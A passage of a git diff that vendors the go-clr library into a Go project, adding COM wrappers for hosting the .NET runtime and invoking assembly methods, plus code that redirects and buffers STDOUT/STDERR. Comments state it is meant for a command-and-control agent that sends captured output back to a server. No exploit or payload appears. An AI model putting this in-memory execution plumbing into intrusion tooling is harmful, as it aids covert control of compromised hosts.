+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
+func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
+ debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.GetDefaultDomain,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&IUnknown)),
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ // The specified procedure could not be found.
+ // TODO Why is this error message returned?
+ debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
+
+// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
+// HRESULT CreateDomain (
+// [in] LPWSTR pwzFriendlyName,
+// [in] IUnknown* pIdentityArray,
+// [out] void **pAppDomain
+// );
+// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
+func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
+ debugPrint("Entering into icorruntimehost.CreateDomain()...")
+ hr, _, err := syscall.Syscall6(
+ obj.vtbl.CreateDomain,
+ 4,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain
+ uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
+ uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ // The specified procedure could not be found.
+ // TODO Why is this error message returned?
+ debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
+
+// EnumDomains Gets an enumerator for the domains in the current process.
+// HRESULT EnumDomains (
+// [out] HCORENUM *hEnum
+// );
+func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
+ debugPrint("Enterin into icorruntimehost.EnumDomains()...")
+
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.EnumDomains,
+ (uintptr(unsafe.Pointer(hEnum))),
+ 0,
+ 0,
+ 0,
+ )
+
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/ienumunknown.go b/vendor/github.com/Ne0nd0g/go-clr/ienumunknown.go
new file mode 100644
index 0000000000..bd78c9ed31
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/ienumunknown.go
@@ -0,0 +1,82 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+)
+
+type IEnumUnknown struct {
+ vtbl *IEnumUnknownVtbl
+}
+
+// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
+// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
+// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
+type IEnumUnknownVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ // Next Retrieves the specified number of items in the enumeration sequence.
+ Next uintptr
+ // Skip Skips over the specified number of items in the enumeration sequence.
+ Skip uintptr
+ // Reset Resets the enumeration sequence to the beginning.
+ Reset uintptr
+ // Clone Creates a new enumerator that contains the same enumeration state as the current one.
+ Clone uintptr
+}
+
+func (obj *IEnumUnknown) AddRef() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+func (obj *IEnumUnknown) Release() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+// Next retrieves the specified number of items in the enumeration sequence.
+// HRESULT Next(
+// ULONG celt,
+// IUnknown **rgelt,
+// ULONG *pceltFetched
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
+func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
+ debugPrint("Entering into ienumunknown.Next()...")
+ hr, _, err := syscall.Syscall6(
+ obj.vtbl.Next,
+ 4,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(celt),
+ uintptr(pEnumRuntime),
+ uintptr(unsafe.Pointer(pceltFetched)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
+ return
+ }
+ if hr != S_OK && hr != S_FALSE {
+ err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ hresult = int(hr)
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/ierrorinfo.go b/vendor/github.com/Ne0nd0g/go-clr/ierrorinfo.go
new file mode 100644
index 0000000000..880874cfd2
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/ierrorinfo.go
@@ -0,0 +1,117 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+type IErrorInfo struct {
+ vtbl *IErrorInfoVtbl
+}
+
+// IErrorInfoVtbl returns information about an error in addition to the return code.
+// It returns the error message, name of the component and GUID of the interface in
+// which the error occurred, and the name and topic of the Help file that applies to the error.
+// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
+type IErrorInfoVtbl struct {
+ // QueryInterface Retrieves pointers to the supported interfaces on an object.
+ QueryInterface uintptr
+ // AddRef Increments the reference count for an interface pointer to a COM object.
+ // You should call this method whenever you make a copy of an interface pointer.
+ AddRef uintptr
+ // Release Decrements the reference count for an interface on a COM object.
+ Release uintptr
+ // GetDescription Returns a text description of the error
+ GetDescription uintptr
+ // GetGUID Returns the GUID of the interface that defined the error.
+ GetGUID uintptr
+ // GetHelpContext Returns the Help context ID for the error.
+ GetHelpContext uintptr
+ // GetHelpFile Returns the path of the Help file that describes the error.
+ GetHelpFile uintptr
+ // GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
+ GetSource uintptr
+}
+
+// GetDescription Returns a text description of the error.
+// HRESULT GetDescription (
+// BSTR *pbstrDescription);
+// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
+func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
+ debugPrint("Entering into ierrorinfo.GetDescription()...")
+
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.GetDescription,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&pbstrDescription)),
+ 0,
+ )
+
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
+
+// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
+// HRESULT GetGUID(
+// GUID *pGUID
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
+func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
+ debugPrint("Entering into ierrorinfo.GetGUID()...")
+
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.GetGUID,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(pGUID)),
+ 0,
+ )
+
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
+
+// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
+// HRESULT GetErrorInfo(
+// ULONG dwReserved,
+// IErrorInfo **pperrinfo
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
+func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
+ debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
+ modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
+ procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
+ hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
+ return
+ }
+ if hr != S_OK {
+ err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
+ return
+ }
+ err = nil
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/io.go b/vendor/github.com/Ne0nd0g/go-clr/io.go
new file mode 100644
index 0000000000..a42d5092ea
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/io.go
@@ -0,0 +1,200 @@
+// +build windows
+
+package clr
+
+import (
+ "bufio"
+ "bytes"
+ "fmt"
+ "os"
+ "sync"
+ "time"
+
+ "golang.org/x/sys/windows"
+)
+
+// origSTDOUT is a Windows Handle to the program's original STDOUT
+var origSTDOUT = windows.Stdout
+
+// origSTDERR is a Windows Handle to the program's original STDERR
+var origSTDERR = windows.Stderr
+
+// rSTDOUT is an io.Reader for STDOUT
+var rSTDOUT *os.File
+
+// wSTDOUT is an io.Writer for STDOUT
+var wSTDOUT *os.File
+
+// rSTDERR is an io.Reader for STDERR
+var rSTDERR *os.File
+
+// wSTDERR is an io.Writer for STDERR
+var wSTDERR *os.File
+
+// Stdout is a buffer to collect anything written to STDOUT
+// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
+// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
+// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
+// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
+var Stdout bytes.Buffer
+
+// Stderr is a buffer to collect anything written to STDERR
+var Stderr bytes.Buffer
+
+// errors is used to capture an errors from a goroutine
+var errors = make(chan error)
+
+// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
+var mutex = &sync.Mutex{}
+
+// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
+// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
+// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
+func RedirectStdoutStderr() (err error) {
+ // Create a new reader and writer for STDOUT
+ rSTDOUT, wSTDOUT, err = os.Pipe()
+ if err != nil {
+ err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
+ return
+ }
+
+ // Createa new reader and writer for STDERR
+ rSTDERR, wSTDERR, err = os.Pipe()
+ if err != nil {
+ err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
+ return
+ }
+
+ // Set STDOUT/STDERR to the new files from os.Pipe()
+ // https://docs.microsoft.com/en-us/windows/console/setstdhandle
+ if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
+ err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
+ return
+ }
+
+ if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
+ err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
+ return
+ }
+
+ // Start STDOUT/STDERR buffer and collection
+ go BufferStdout()
+ go BufferStderr()
+
+ return
+}
+
+// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
+// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
+// using the restored handles
+func RestoreStdoutStderr() error {
+ if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
+ return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
+ }
+ if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
+ return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
+ }
+ return nil
+}
+
+// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
+// Only use when RedirectStdoutStderr was previously called
+func ReadStdoutStderr() (stdout string, stderr string, err error) {
+ debugPrint("Entering into io.ReadStdoutStderr()...")
+
+ // Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
+ // Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
+ // Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
+ // returned because parent program is perpetually running
+ time.Sleep(1 * time.Microsecond)
+
+ // Check the error channel to see if any of the goroutines generated an error
+ if len(errors) > 0 {
+ var totalErrors string
+ for e := range errors {
+ totalErrors += e.Error()
+ }
+ err = fmt.Errorf(totalErrors)
+ return
+ }
+
+ // Read STDOUT Buffer
+ if Stdout.Len() > 0 {
+ stdout = Stdout.String()
+ Stdout.Reset()
+ }
+
+ // Read STDERR Buffer
+ if Stderr.Len() > 0 {
+ stderr = Stderr.String()
+ Stderr.Reset()
+ }
+ return
+}
+
+// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
+// that was changed to an *os.File
+func CloseStdoutStderr() (err error) {
+ err = rSTDOUT.Close()
+ if err != nil {
+ err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
+ return
+ }
+
+ err = wSTDOUT.Close()
+ if err != nil {
+ err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
+ return
+ }
+
+ err = rSTDERR.Close()
+ if err != nil {
+ err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
+ return
+ }
+
+ err = wSTDERR.Close()
+ if err != nil {
+ err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
+ return
+ }
+ return nil
+}
+
+// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
+// and collect it into a buffer so that it can be collected and sent back to a server
+func BufferStdout() {
+ debugPrint("Entering into io.BufferStdout()...")
+ stdoutReader := bufio.NewReader(rSTDOUT)
+ for {
+ // Standard STDOUT buffer size is 4k
+ buf := make([]byte, 4096)
+ line, err := stdoutReader.Read(buf)
+ if err != nil {
+ errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
+ }
+ if line > 0 {
+ // Remove null bytes and add contents to the buffer
+ Stdout.Write(bytes.TrimRight(buf, "\x00"))
+ }
+ }
+}
+
+// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
+// and collect it into a buffer so that it can be collected and sent back to a server
+func BufferStderr() {
+ debugPrint("Entering into io.BufferStderr()...")
+ stderrReader := bufio.NewReader(rSTDERR)
+ for {
+ // Standard STDOUT buffer size is 4k
+ buf := make([]byte, 4096)
+ line, err := stderrReader.Read(buf)
+ if err != nil {
+ errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
+ }
+ if line > 0 {
+ // Remove null bytes and add contents to the buffer
+ Stderr.Write(bytes.TrimRight(buf, "\x00"))
+ }
+ }
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/isupporterrorinfo.go b/vendor/github.com/Ne0nd0g/go-clr/isupporterrorinfo.go
new file mode 100644
index 0000000000..5b8af724db
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/isupporterrorinfo.go
@@ -0,0 +1,123 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
+// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
+type ISupportErrorInfo struct {
+ vtbl *ISupportErrorInfoVtbl
+}
+
+type ISupportErrorInfoVtbl struct {
+ // QueryInterface Retrieves pointers to the supported interfaces on an object.
+ QueryInterface uintptr
+ // AddRef Increments the reference count for an interface pointer to a COM object.
+ // You should call this method whenever you make a copy of an interface pointer.
+ AddRef uintptr
+ // Release Decrements the reference count for an interface on a COM object.
+ Release uintptr
+ // InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
+ // https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
+ InterfaceSupportsErrorInfo uintptr
+}
+
+// QueryInterface queries a COM object for a pointer to one of its interface;
+// identifying the interface by a reference to its interface identifier (IID).
+// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
+// HRESULT QueryInterface(
+// REFIID riid,
+// void **ppvObject
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
+func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+ debugPrint("Entering into iunknown.QueryInterface()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.QueryInterface,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+ uintptr(ppvObject),
+ )
+ if err != syscall.Errno(0) {
+ return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+// AddRef Increments the reference count for an interface pointer to a COM object.
+// You should call this method whenever you make a copy of an interface pointer
+// ULONG AddRef();
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
+func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
+ debugPrint("Entering into iunknown.AddRef()...")
+ ret, _, err := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
+ }
+ err = nil
+ // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+ count = *(*uint32)(unsafe.Pointer(ret))
+ return
+}
+
+// Release Decrements the reference count for an interface on a COM object.
+// ULONG Release();
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
+func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
+ debugPrint("Entering into iunknown.Release()...")
+ ret, _, err := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
+ }
+ err = nil
+ // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+ count = *(*uint32)(unsafe.Pointer(ret))
+ return
+}
+
+// InterfaceSupportsErrorInfo
+// HRESULT InterfaceSupportsErrorInfo(
+// REFIID riid
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
+func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
+ debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.InterfaceSupportsErrorInfo,
+ 2,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&riid)),
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/iunknown.go b/vendor/github.com/Ne0nd0g/go-clr/iunknown.go
new file mode 100644
index 0000000000..d0e8adb000
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/iunknown.go
@@ -0,0 +1,99 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+type IUnknown struct {
+ vtbl *IUnknownVtbl
+}
+
+// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
+// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
+// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
+// methods in IUnknown are the first entries in the vtable for every interface.
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
+type IUnknownVtbl struct {
+ // QueryInterface Retrieves pointers to the supported interfaces on an object.
+ QueryInterface uintptr
+ // AddRef Increments the reference count for an interface pointer to a COM object.
+ // You should call this method whenever you make a copy of an interface pointer.
+ AddRef uintptr
+ // Release Decrements the reference count for an interface on a COM object.
+ Release uintptr
+}
+
+// QueryInterface queries a COM object for a pointer to one of its interface;
+// identifying the interface by a reference to its interface identifier (IID).
+// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
+// HRESULT QueryInterface(
+// REFIID riid,
+// void **ppvObject
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
+func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+ debugPrint("Entering into iunknown.QueryInterface()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.QueryInterface,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+ uintptr(ppvObject),
+ )
+ if err != syscall.Errno(0) {
+ return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+// AddRef Increments the reference count for an interface pointer to a COM object.
+// You should call this method whenever you make a copy of an interface pointer
+// ULONG AddRef();
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
+func (obj *IUnknown) AddRef() (count uint32, err error) {
+ debugPrint("Entering into iunknown.AddRef()...")
+ ret, _, err := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
+ }
+ err = nil
+ // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+ count = *(*uint32)(unsafe.Pointer(ret))
+ return
+}
+
+// Release Decrements the reference count for an interface on a COM object.
+// ULONG Release();
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
+func (obj *IUnknown) Release() (count uint32, err error) {
+ debugPrint("Entering into iunknown.Release()...")
+ ret, _, err := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
+ }
+ err = nil
+ // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+ count = *(*uint32)(unsafe.Pointer(ret))
+ return
+}
diff --git a/vendor/github.com/Ne0nd0g/go-clr/methodinfo.go b/vendor/github.com/Ne0nd0g/go-clr/methodinfo.go
new file mode 100644
index 0000000000..28e7b3be0b
--- /dev/null
+++ b/vendor/github.com/Ne0nd0g/go-clr/methodinfo.go
@@ -0,0 +1,207 @@
+// +build windows
+
+package clr
+
+import (
+ "fmt"
+ "syscall"
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
+
+// from mscorlib.tlh
+
+type MethodInfo struct {
+ vtbl *MethodInfoVtbl
+}
+
+// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
+// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
+// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
+// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
+// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
+// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
+type MethodInfoVtbl struct {
+ QueryInterface uintptr
+ AddRef uintptr
+ Release uintptr
+ GetTypeInfoCount uintptr
+ GetTypeInfo uintptr
+ GetIDsOfNames uintptr
+ Invoke uintptr
+ get_ToString uintptr
+ Equals uintptr
+ GetHashCode uintptr
+ GetType uintptr
+ get_MemberType uintptr
+ get_name uintptr
+ get_DeclaringType uintptr
+ get_ReflectedType uintptr
+ GetCustomAttributes uintptr
+ GetCustomAttributes_2 uintptr
+ IsDefined uintptr
+ GetParameters uintptr
+ GetMethodImplementationFlags uintptr
+ get_MethodHandle uintptr
+ get_Attributes uintptr
+ get_CallingConvention uintptr
+ Invoke_2 uintptr
+ get_IsPublic uintptr
+ get_IsPrivate uintptr
+ get_IsFamily uintptr
+ get_IsAssembly uintptr
+ get_IsFamilyAndAssembly uintptr
+ get_IsFamilyOrAssembly uintptr
+ get_IsStatic uintptr
+ get_IsFinal uintptr
+ get_IsVirtual uintptr
+ get_IsHideBySig uintptr
+ get_IsAbstract uintptr
+ get_IsSpecialName uintptr
+ get_IsConstructor uintptr
+ Invoke_3 uintptr
+ get_returnType uintptr
+ get_ReturnTypeCustomAttributes uintptr
+ GetBaseDefinition uintptr
+}
+
+func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+ debugPrint("Entering into methodinfo.QueryInterface()...")
+ hr, _, err := syscall.Syscall(
+ obj.vtbl.QueryInterface,
+ 3,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+ uintptr(ppvObject),
+ )
+ if err != syscall.Errno(0) {
+ return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+ }
+ if hr != S_OK {
+ return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+ }
+ return nil
+}
+
+func (obj *MethodInfo) AddRef() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.AddRef,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+func (obj *MethodInfo) Release() uintptr {
+ ret, _, _ := syscall.Syscall(
+ obj.vtbl.Release,
+ 1,
+ uintptr(unsafe.Pointer(obj)),
+ 0,
+ 0)
+ return ret
+}
+
+// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
+// virtual HRESULT __stdcall Invoke_3 (
+// /*[in]*/ VARIANT obj,
+// /*[in]*/ SAFEARRAY * parameters,
+// /*[out,retval]*/ VARIANT * pRetVal ) = 0;
+// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
+func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
+ debugPrint("Entering into methodinfo.Invoke_3()...")
+ var pRetVal *Variant
+ hr, _, err := syscall.Syscall6(
+ obj.vtbl.Invoke_3,
+ 4,
+ uintptr(unsafe.Pointer(obj)),
+ uintptr(unsafe.Pointer(&variantObj)),
+ uintptr(unsafe.Pointer(parameters)),
+ uintptr(unsafe.Pointer(pRetVal)),
+ 0,
+ 0,
+ )
+ if err != syscall.Errno(0) {
+ err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
+ return
+ }
+
+ // If the HRESULT is a TargetInvocationException, attempt to get the inner error
+ // This currentl doesn't work
+ if uint32(hr) == COR_E_TARGETINVOCATION {
+ var iSupportErrorInfo *ISupportErrorInfo
+ // See if MethodInfo supports the ISupportErrorInfo interface
+ err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
+ if err != nil {
